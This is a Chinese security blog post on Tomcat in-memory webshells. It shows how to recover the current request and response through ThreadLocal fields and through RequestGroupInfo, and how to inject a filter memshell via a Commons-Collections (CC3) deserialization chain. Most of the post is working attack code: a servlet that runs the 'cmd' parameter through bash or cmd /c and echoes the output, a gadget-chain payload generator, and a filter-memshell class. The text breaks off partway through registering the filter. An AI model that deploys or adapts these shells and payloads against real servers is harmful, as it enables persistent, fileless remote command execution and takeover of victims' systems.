Tomcat型内存马回显以及反序列化写入
2024-08-09 18:22:44

背景引入

多适用于对方机器不出网,无法弹 shell 的情况,用来获取命令执行的结果。如果是能够解析 JSP 的中间件就很好利用,落地一个 JSP 进行一个 Request 和 Response 的获取就好,但是如果像是 Spring 种,考虑反序列化或者其他能够达到代码执行的情况,注入内存马,并且获得回显就需要另辟蹊径。

总的思路还是获取到当前处理请求服务线程下的 Rquest 和 Response

ThreadLocal Response 回显

0x01 ThreadLocal 认识

首先介绍一下 ThreadLocal
在 java 中有一个问题被经常提起:线程安全的问题。这里所说的安全不是代码执行或者数据泄露那种安全,它是影响整个业务处理结果,以及处理效率的一个问题,属于开发的范畴。web 服务就是一个特别显著的例子,当我们服务器接收大量的请求时,后台的某一个关键变量,比如某一商品的货存量,有 n 个客户同时请求它的购买,并且每个客户购买的数量都不同。并且此后同时支付的现金,此时 n 个线程开始同时进行,货物数量的值是共享。
此时会因为没有线程隔离以及线程保护,导致每个客户都购买了相同数量的货物,并不是自己想要的货物。
如何解决这个问题呢?
ThreadLocal 就是用来解决这个问题的,它的作用就是在多线程请求的情况下,维护好每一个单一线程的变量,避免因多线程操作而导致共享数据不一致的情况。
具体的代码示例就不写了,理解就行

0x02 思路分析及具体代码执行内容

回到 ThreadLocal 获取当前进程下的 request 和 repsonse 的内容:
思路来自 Kingkk 师傅,不论是在 Springboot 还是 javaweb 等项目中,filter servlet listener 始终是一种设计思想,他们都是会存在的,并且 ApplicationFilterChain 这一路的责任链机制依然存在。我们观察到在他的属性值变量中存在两种变量lastServicedRequest以及lastServicedResponse,并且他们的类型都是 ThreadLocal 类型
image.png
在 ApplicationFilterChain 初始化的情况下它们并不会有所赋值,但是我们跟进其中责任链实现逻辑中 internalDofilter 的部分,当我们从filterCofigs 中读取完所有的 filterConfig 配置,并且走完它们的所有逻辑之后,也就是 if(pos < n)不会满足判断条件,来到之后的 Trycatch 块中
image.png
他首先就是if (ApplicationDispatcher.WRAP_SAME_OBJECT)判断,然后开始对 lastServicedRequest以及lastServicedResponse都进行一段赋值操作,这里所赋的值,就是我们想要获取到的 response 以及 request
这里两段判断条件都是一样的,也就是ApplicationDispatcher.WRAP_SAME_OBJECT必须不为空
所以我们可以总结出利用思路:

  1. 反射修改 ApplicationDispatcher.WRAP_SAME_OBJECT为 ture
  2. 然而上条逻辑的执行依赖于当前线程,也就是说此时能够代码执行到这里的时候,责任链机制已经过了一遍,我们此时还是没有进入后续的 set 逻辑,只能再访问一遍,再走一遍责任链机制才可以。所以后续的逻辑还应该加上:lastServicedRequestlastServicedResponse都初始化并且为 null (相当于把 ApplicationFilterChain 的 static 代码块走了一遍)
  3. lastServicedRequestlastServicedResponse,以及 ApplicationDispatcher.WRAP_SAME_OBJECT变量都是final 修饰,也就是不可修改的定值,这对于我们反序列化打入内存马非常不利,所以我们还需要通过反射修改其 final 属性

上述利用存在两个个利用条件:
一是 JDK 在 17 版本之后不能够通过反射去修改 final 属性值。也就是在 Springboot3 或者 Spring6 这种内置要求 JDK17 版本之后的服务都不能通过这种方式打入内存马
二是 tomcat10.1.x 之后的版本(也就是 Springboot3 要求的版本),判断条件也发生了变化
image.png
所以利用场景限制于 Tomcat<10 ,JDK<17 的情况,具体一点就是 Springboot2,spring5,以及版本符合条件的 javaweb 环境等(高版本有高版本的方法,之后再写)
接下来开始具体的代码构造,考虑之后的结合反序列化打入内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package com.stoocea.example.Servlets;

import org.apache.catalina.core.ApplicationFilterChain;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.swing.plaf.synth.SynthRadioButtonMenuItemUI;
import java.io.FileDescriptor;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

@WebServlet("/evil")
public class Evil_Servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try{
//反射获取WRAP_SOME_OBJECT_FIELD lastServicedRequest lastServicedResponse
Field WRAP_SOME_OBJECT_FIELD=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestfield=ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponsefield=ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
WRAP_SOME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestfield.setAccessible(true);
lastServicedResponsefield.setAccessible(true);
//使用modifiersField修改属性值的final修饰
//每一个Field都会存在一个变量 modifiers用来描述修饰词,所以这里我们获取到的是Field的modifiers 它本质上是一个int类型的值
java.lang.reflect.Field modifiersfield= Field.class.getDeclaredField("modifiers");
modifiersfield.setAccessible(true);

//修改WRAP_SOME_OBJECT_FIELD以及requst和response的modifiers,值的话由于要得到16进制位数,并且清除final属性,本质上就是将他修改为0x0000即可,这里getModifiers()的结果为0x0010 Modifier.FINAL的结果也是0x0010,所以两者&~运算得到0x0000
modifiersfield.setInt(WRAP_SOME_OBJECT_FIELD,WRAP_SOME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersfield.setInt(lastServicedRequestfield,lastServicedRequestfield.getModifiers() & ~Modifier.FINAL);
modifiersfield.setInt(lastServicedResponsefield,lastServicedResponsefield.getModifiers() & ~Modifier.FINAL);


//如果是第一次访问,WRAP_SOME_OBJECT_FIELD肯定是没有值的,所以我们赋值上true 并且同时给lastServicedRequest和lastServicedResponse都初始化
if(!WRAP_SOME_OBJECT_FIELD.getBoolean(null)){
WRAP_SOME_OBJECT_FIELD.setBoolean(null,true);
lastServicedResponsefield.set(null,new ThreadLocal<ServletResponse>());
lastServicedRequestfield.set(null,new ThreadLocal<ServletRequest>());

}else{//第二次访问开始正式获取当前线程下的Req和Resp
ThreadLocal<ServletRequest> threadLocalReq= (ThreadLocal<ServletRequest>)lastServicedRequestfield.get(null);
ThreadLocal<ServletResponse> threadLocalResp=(ThreadLocal<ServletResponse>) lastServicedResponsefield.get(null);
ServletRequest servletRequest = threadLocalReq.get();
ServletResponse servletResponse = threadLocalResp.get();


System.out.println(req);
System.out.println(servletRequest);
}

}
catch (Exception e){
e.printStackTrace();
}

}

}

然后我们两次访问 evil 路由,在第二次调试进入逻辑:
req 是 doGet 方法的参数里面的 req,也就是我们当前进程下的 Request。然后我们自己获取到的 servletRequest 获取到之后是相同的
image.png

0x03 总结

整体的思路是建立在无文件,反序列化打入内存马的基础上进行的,所以还需要考虑反序列化本身的条件。这里提一嘴 Shiro 的问题,我之前复习分析 Filter 型内存马的时候,无意中由于自己打入了 shiro 的依赖,导致 filter 链的流程和常规的 tomcat 构建流程不太一样,那个时候我还提了一嘴调用栈:
image.png
shiro 本质就是一层 filter,所以它是在 if (pos < n)中执行完自己的逻辑了,后面的 lastServiceRequest.set(request)就执行不到了,所以我们就获取不到当前线程的 request 和 reponse
image.png
当然有时候也不一定要局限于打 shiro 的反序列化,只要你的反序列化逻辑在责任链机制走完之后,都能够利用。
但是这里留了一个伏笔,我们必须访问两次指定路由才能够真正获取到 ServletRequest,那么在反序列化的时候该如何实现呢?这里其实可以延伸出无文件落地内存马的一个总的思想,我们后面总结再谈。

全局存储 Response

0x01 初步思路建立

想要一个能够适应大多数情况的 response 和 request 获取思路。我们从一次处理 servlet 容器处理 web 请求的调用栈入手,肯定有一个地方是最开始处理 request 和 repsonse,并且将他们当作参数传入的下一调用栈的地方。
image.png
调用栈最开始的一次出现传递 request 和 response 的地方的是在 Http11Processor 的 service 方法中。虽然配图只给了这么一段,但实际上面大部分的逻辑都是直接处理 Request 和 Response ,一直到这里传递给下一条调用栈。其实这个时候就可以入手去寻找 request 和 response 了
image.png
request response 参数来自它的父类传参–AbstractProcessor,既然是他的父类传递的值,那么父类AbstractProcessor肯定被调用了。但是我们在调用栈中并没有找到AbstractProcessor的具体调用,观察上一级调用栈,是 AbstractProcessorLight,他其实是AbstractProcessor和Http11Processor 共同父类,只不过 Http11Processor 是继承自AbstractProcessor 才继承于 AbstractProcessorLight
关键是获取 AbstractProcessor,但是由于前面其实没有直接对于AbstractProcessor 的引用,这里我们获取到 Http11Processor 是一样的效果,也能获取到Request 和 Response
那么如何获取到 Http11Processor 呢?这里我们可以在任意 servlet 或者 controller 处打个断点(两者处的调用栈大差不差)然后观察一下(看上面的调用栈就行)在AbstractProcessorLight调用到 Http11
Processor 之前,由ConnectionHandler调用 process 方法中有如下逻辑:
image.png
两次判断 processor 是否为空,第一次是在判断之后执行的逻辑是判断我们否加载过 processor,如果有就直接给他加载出来不用后续的加载了。第二次判断是如果我们本次请求中没有加载过 processor 就从 AbstractProtocol 中调用createProcessor()方法来创建 Http11Processor
image.png
这里知道 Http11Processor 创建的过程还不够,我们还无法通过自己的代码执行去获取到 Http11Processor,只能再往下看
然后调用 register 方法,主要是从中获取一些请求信息(包括我们的 request),并封装存储起来
image.png
大致逻辑分为两个部分:

  • 获取 Processor 中封装的 request 信息,存储为 RequestInfo
  • 然后将当此的 RequestInfo set 进 global 属性,这里的 global 属性实际上就是 RequestGroupInfo,用来存储这些获取到的RequestInfo

最终产生的效果如下:
image.png
实际上到这我们又找到了一份新的用来存储 req 的地方,就是 ConnectionHandler 的 global 属性,所以可以转变一下思路,获取到这个 global 属性,进而获取到 request
又由于ConnectionHandler是 AbstractProtocol 的子类,我们可以先确定一手能否通过 AbstractProtocol 获取到 ConnectionHandler
跟进到AbstractProtocol 的构造方法,发现 ConnectionHandler 的构造实例化之后,然后调用 setHandler 方法将其 set 存入this.handler属性值,所以必然有 getHandler 方法获取到 handler
image.png
image.png
所以现在思路后半段就可以通过反射调用AbstractProtocol.getHandler获取到 ConnectionHandler,再反射获取到 global
那么现在如何获取到AbstractProtocol?下面的思路就是从
首先是 AbstractProtocol 的继承关系
image.png
我们如果能够获取到其中一个具体继承的子类,那么就能够获取到 AbstractProtocol。后续的内容其实回顾一下 Tomcat 的架构比较好,但是这里就不讲了,我们直接讲思路。

0x02 思路梳理和总结

配合正常调用栈来讲
image.png
以蓝线为界,CoyoteAdapter 之后的逻辑就是 Tomcat 中 Container 的具体处理那一套了,包括 Valve 和责任链等等
image.png
CoyoteAdapter 作为 Tomcat 中 Connector 和 Container 的连接桥梁,本身肯定是会内置 Connector 的具体实现对象的,而 Connector 中的内容我们又可以划分为 ProtocolHandler 和 Adapter 两类,这里的 Adapter 就是CoyoteAdapter了。至于 ProtocolHandler,如果是正常的 Http/1.1 的请求,内置的具体实现就是 Http11NioProtocol。
所以只要我们发送了一次 Http 请求,就能够通过 Connector 获取到 Http11NioProtocol。现在问题是如何获取到 Connctor?还是按照 Tomcat 的架构来,一个大的 server 具体是由每一个小的 service 去实现的,而一个 service 中又由 connector 和 container 组成。就可以考虑通过 service 去获取 connector。
实际上就是获取 StandardService 的 connectors 内置属性,具体的话就是 StandardSercvice 在 addconnector 的时候,最终将所有的 connector 都存进了 connectors 属性中(所以我们还要遍历它)
image.png
image.png
到这是最后一个问题,如何获取到 StandardService?这里就涉及到 Tomcat 的一个加载问题。简单来说就是,Tomcat 中有多个 web 容器,但是有可能会出现一个 web 容器中加载了 CC 的 3.1 依赖,但是另一个容器加载了 CC 的 3.2 依赖,全类名相同的情况下就会出现加载问题,所以 Tomcat 中一般内置一种 ClassLoader,用来隔离 web 容器中的类加载工作–WebappClassLoader
而 Thread 类中有 getContextClassLoader()以及 setContextClassLoader()方法 ,主要作用对象就是 WebappClassLoader(有些框架可能就不同,但实际上还是继承自 WebappClassLoaderBase 的其他 loader),所以我们能够通过 Thread.currentThread().getContextClassLoader()方法获取到 WebappClassLoader。
再观察一下 WebappClassLoaderBase 中的一些属性,我们能够通过其 getResources 方法获取到 StandardRoot
image.png
然后就能通过 standardRoot.getContext 获取到 standardContext(standardContext 的某些功能就是通过 standardRoot 实现的),之后一类反射获取容器高一级管理:standardContext->ApplicationContext->standardService

总结一下整体思路:

  1. 通过 WebappClassLoader->standardRoot->standardRoot->standardContext->ApplicationContext->standardService
  2. 通过 service 获取到大 Connector
  3. 再通过大 Connctor 获取到ProtocolHandler,具体的话就是Http11NioProtocol
  4. 又因为Http11NioProtocol 是AbstractProtocol 的子类,所以我们能够通过Http11NioProtocol 去获取到 AbstractProtocol
  5. 最后通过AbstractProtocol 获取到 内置的子类 ConnectionHandler,进而从它的属性值 global 中获取到 requestInfo 中封装的 request

0x03 代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package com.stoocea.example.Servlets;

import java.lang.reflect.Method;
import java.util.Scanner;

import org.apache.catalina.Context;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.*;
import org.apache.tomcat.util.net.AbstractEndpoint;


import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Scanner;

@WebServlet("/evil2")
public class Evil_Servlet2 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
//首先获取StandardService
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field webappclassLoaderBaseField=Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
webappclassLoaderBaseField.setAccessible(true);
WebResourceRoot resources=(WebResourceRoot) webappclassLoaderBaseField.get(webappClassLoaderBase);
Context Context = resources.getContext();
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext=(ApplicationContext) context.get(Context);
Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService=(StandardService) standardServiceField.get(applicationContext);


//获取Connctor
Field connectorsField =Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors=(Connector[])connectorsField.get(standardService);


//循环遍历Connectors
for(Connector connector: connectors ) {
//当前去访问请求肯定是Http协议,所以我当前线程生成的connector内置的协议肯定是http
if (connector.getScheme().contains("http")){
//从Connector中获取到AbstractProtocol对象,实际上现在这个实例是Http11NioProtocol,由于我们获取到的是整个Connectors,也就是说不同的协议存在不同的Connector完成功能的实现,我们这里肯定需要的是Http协议的Connector
AbstractProtocol abstractProtocol=(AbstractProtocol) connector.getProtocolHandler();
//通过Http11NioProtocol(继承于AbstractProtocol)开始获取ConnectionHandler
Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
AbstractEndpoint.Handler connectionhandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);

//开始获取connectionhandler中的global属性
Field globalField =Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global=(RequestGroupInfo) globalField.get(connectionhandler);

//global的作用就是用来缓存Processor的,因此它里面其实存储着很多Request请求的封装,具体的RequestInfo都是类似Http11Processor这种第二次封装进来的,我们还得判断出我们想要的那个RequestInfo
Field processorField=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorField.setAccessible(true);
ArrayList processors=(ArrayList) processorField.get(global);

for (Object processor: processors){
RequestInfo requestInfo =(RequestInfo) processor;
//这个判断条件就比较的灵活了,看各自当时去访问Memshell时路径的特点(就比如说我们注入了一个filter内存马,用cmd启动,那么就获取到当前请求的cmd参数时,判断为我们的内存马访问请求)
if (requestInfo.getCurrentQueryString().contains("cmd")){
Field reqfield=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqfield.setAccessible(true);
Request request=(Request) reqfield.get(requestInfo);
org.apache.catalina.connector.Request currentreq=(org.apache.catalina.connector.Request) request.getNote(1);

//已经有request了,直接获取到参数给他exec就完事了
String cmd=currentreq.getParameter("cmd");
if(cmd!=null){
String cmds[]=null;
if (System.getProperty("os.name").toLowerCase().contains("win")){
cmds=new String[]{"cmd","/c",cmd};

}else{
cmds=new String[]{"/bin/bash","-c",cmd};
}
//将执行结果通过我们获取到的request返回出去
InputStream inputStream=Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner=new Scanner(inputStream).useDelimiter("//A");
String output = scanner.hasNext()? scanner.next(): "";
PrintWriter writer=currentreq.getResponse().getWriter();
writer.write(output);
writer.flush();
writer.close();

break;
}
}
}
}
}

}catch(Exception e){
e.printStackTrace();
}
}
}

0x04 总结

第一次去利用的时候发现,WebappclassLoader 的 getResources()方法,早在 8.5.78 的版本就被标价为了@Deprecated,直接就 return null 了,然后在 10.x 版本就直接移除了该方法,我不清楚服务器上的 Tomcat 源码如何,我个人用 idea 启动项目的话,也是直接 return null 的,所以导致构造失败。
如何解决这个问题呢?我这里采取的方法是利用反射将 Resources 取出来就好了,它本身 setResources 方法是没有被换掉的,所以还是会有赋值,其属性值还是会存在内存中。
所以在我看来,这个利用还是能够通杀很多版本的,不过就是需要这么点技巧,可能会在师傅们本地测试的卡一下。
然后是总结一下这个方法的思路:

  1. 从 Tomcat 启动,到我们开始访问路由发送 http 请求开始,一整个调用栈的基础上进行的分析
  2. 首先是在Http11Processor的基础上,我们发现了第一次对于 request 和 reponse 参数的处理以及传递,所以开始定位寻找他们。
  3. 之后发现在Http11Processor的父类AbstractProcessor中发现了它两的定义。这样就好办了,即使我们找不到AbstractProcessor的定义,但是我们依然能够直接通过Http11Processor反射间接获取到 request 和 response
  4. 之后我们分析到在AbstractProtocol#ConnectorHandler中进行了 Processor 的注册 registry,也就是说只要我们之前发送过一次,或者在当此请求中发送过 http1/1 请求,就会将Http11Processor注册进ConnectorHandler的属性值 global,所以获取到ConnectorHandler就能够获取到Http11Processor。获取到ConnectorHandler就需要获取到AbstractProtocol
  5. 然后我们从 Tomcat 的整体架构入手,Connector 组件本身内置 ProtocolHandler 以及 Adopter,这里的 ProtocolHandler 就是AbstractProtocol了。所以我们又可以通过 StandService(Service 由 Connector 和 container 组成)的属性值connectors循环遍历到关于 Http11 的 connector,也就能够获取到我们想要的AbstractProtocol了。

反序列化打入内存马

环境测试

反序列化打入其实包括一切实战情况下,我们能够进行 Java 任意代码执行时,就能够尝试打入内存马,这里只是以最常见的反序列化执行 Java 代码作为学习。
并且思路其实也没那么难,甚至可以说我们只要将之前的东西进行一段段的拼接就行。
假设我们存在如下的反序列化攻击点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;

@WebServlet("/Vuln")
public class vulnServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
byte[] bytes= Base64.getDecoder().decode(req.getParameter("data"));
ByteArrayInputStream BAIS=new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream=new ObjectInputStream(BAIS);
try
{
System.out.println(objectInputStream.readObject());
}catch (Exception e){
e.printStackTrace();
}
}
}

这个时候我们就构造一份 CC3 作为 sink 点,以 HashMap 起手的链子 generate 出的序列化数据来打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.net.URLEncoder;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3Re0 {

public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class tc=templates.getClass();

Field nameFiled=tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");

ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

Field bytecodesField=tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code= bytes;
byte[][] codes={code};为空,不然会爆空调用的错误
bytecodesField.set(templates,codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});

Transformer[] transformer=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer =new ChainedTransformer(transformer);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapeEntry=new TiedMapEntry(lazymap,"aaa");

HashMap<Object,Object> hashMap= new HashMap<>();
hashMap.put(tiedMapeEntry,"bbb");
lazymap.remove("aaa");

Class c=LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);

ByteArrayOutputStream byteArrayOutputStream=Serial(hashMap);
String payload= Base64Encode(byteArrayOutputStream);
byte[] bytes2= Base64.getDecoder().decode(payload);
//本地反序列化测试
// ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes2));
// in.readObject();
// in.close();
}

private static ByteArrayOutputStream Serial(Map hashMap) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(hashMap);
return bs;
}
private static String Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(URLEncoder.encode(s));
System.out.println(s.length());
return s;
}
}

image.png
其实这个时候就能够想到往哪赛我们的内存马构造逻辑了—恶意类的静态代码块中。

具体构造

bro 最开始想的是 javassist 写进去,不过属实想多了,有些方法的调用存在导包等操作,也不在乎那点 payload 长度了,要真遇到万不得已打内存马并且还有 payload 长度限制的情况,就对目标使用线程名写入 payload 的方法吧(
首先明确我们要利用的是基于类初始化,调用静态代码块的攻击链,最经典的就是 CC3 的 TemplatesImpl 链,将内置的 bytescode 设置为我们构造好的恶意类即可。
那么恶意类怎么写呢?这里以更加泛用的全局存储获取 request 的思路为例子,注入 filter 型内存马,并获取回显
首先是恶意类,思路就是给他一步到位,同时完成AbstractTranslet的继承(TemplatesImpl 链必要条件),以及 Filter 接口的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
package org.New.shellfilter;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;

public class Filtermemshell extends AbstractTranslet implements Filter {
static {
//定个全局变量给request
org.apache.catalina.connector.Request currentreq=null;

try{
//首先获取StandardService
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field webappclassLoaderBaseField=Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
webappclassLoaderBaseField.setAccessible(true);
WebResourceRoot resources=(WebResourceRoot) webappclassLoaderBaseField.get(webappClassLoaderBase);
Context Context = resources.getContext();
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext=(ApplicationContext) context.get(Context);
Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
standardServiceField.setAccessible(true);
StandardService standardService=(StandardService) standardServiceField.get(applicationContext);


//获取Connctor
Field connectorsField =Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);
Connector[] connectors=(Connector[])connectorsField.get(standardService);

//循环遍历Connectors
for(Connector connector: connectors ) {
//当前去访问请求肯定是Http协议,所以我当前线程生成的connector内置的协议肯定是http
if (connector.getScheme().contains("http")){
//从Connector中获取到AbstractProtocol对象,实际上现在这个实例是Http11NioProtocol,由于我们获取到的是整个Connectors,也就是说不同的协议存在不同的Connector完成功能的实现,我们这里肯定需要的是Http协议的Connector
AbstractProtocol abstractProtocol=(AbstractProtocol) connector.getProtocolHandler();
//通过Http11NioProtocol(继承于AbstractProtocol)开始获取ConnectionHandler
Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
AbstractEndpoint.Handler connectionhandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);

//开始获取connectionhandler中的global属性
Field globalField =Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global=(RequestGroupInfo) globalField.get(connectionhandler);

//global的作用就是用来缓存Processor的,因此它里面其实存储着很多Request请求的封装,具体的RequestInfo都是类似Http11Processor这种第二次封装进来的,我们还得判断出我们想要的那个RequestInfo
Field processorField=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorField.setAccessible(true);
ArrayList processors=(ArrayList) processorField.get(global);

for (Object processor: processors){
RequestInfo requestInfo =(RequestInfo) processor;
//这个判断条件就比较的灵活了,看各自当时去访问Memshell时路径的特点(就比如说我们注入了一个filter内存马,用cmd启动,那么就获取到当前请求的cmd参数时,判断为我们的内存马访问请求)
if (requestInfo.getCurrentQueryString().contains("cmd")){
Field reqfield=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqfield.setAccessible(true);
Request request=(Request) reqfield.get(requestInfo);
currentreq=(org.apache.catalina.connector.Request) request.getNote(1);
break;
}
}
}
}

ServletContext servletContext=(ServletContext) currentreq.getServletContext();
java.lang.reflect.Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext2 = (ApplicationContext) appContextField.get(servletContext);
java.lang.reflect.Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext2);

Filtermemshell filter=new Filtermemshell();
String name="shellfilter";

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
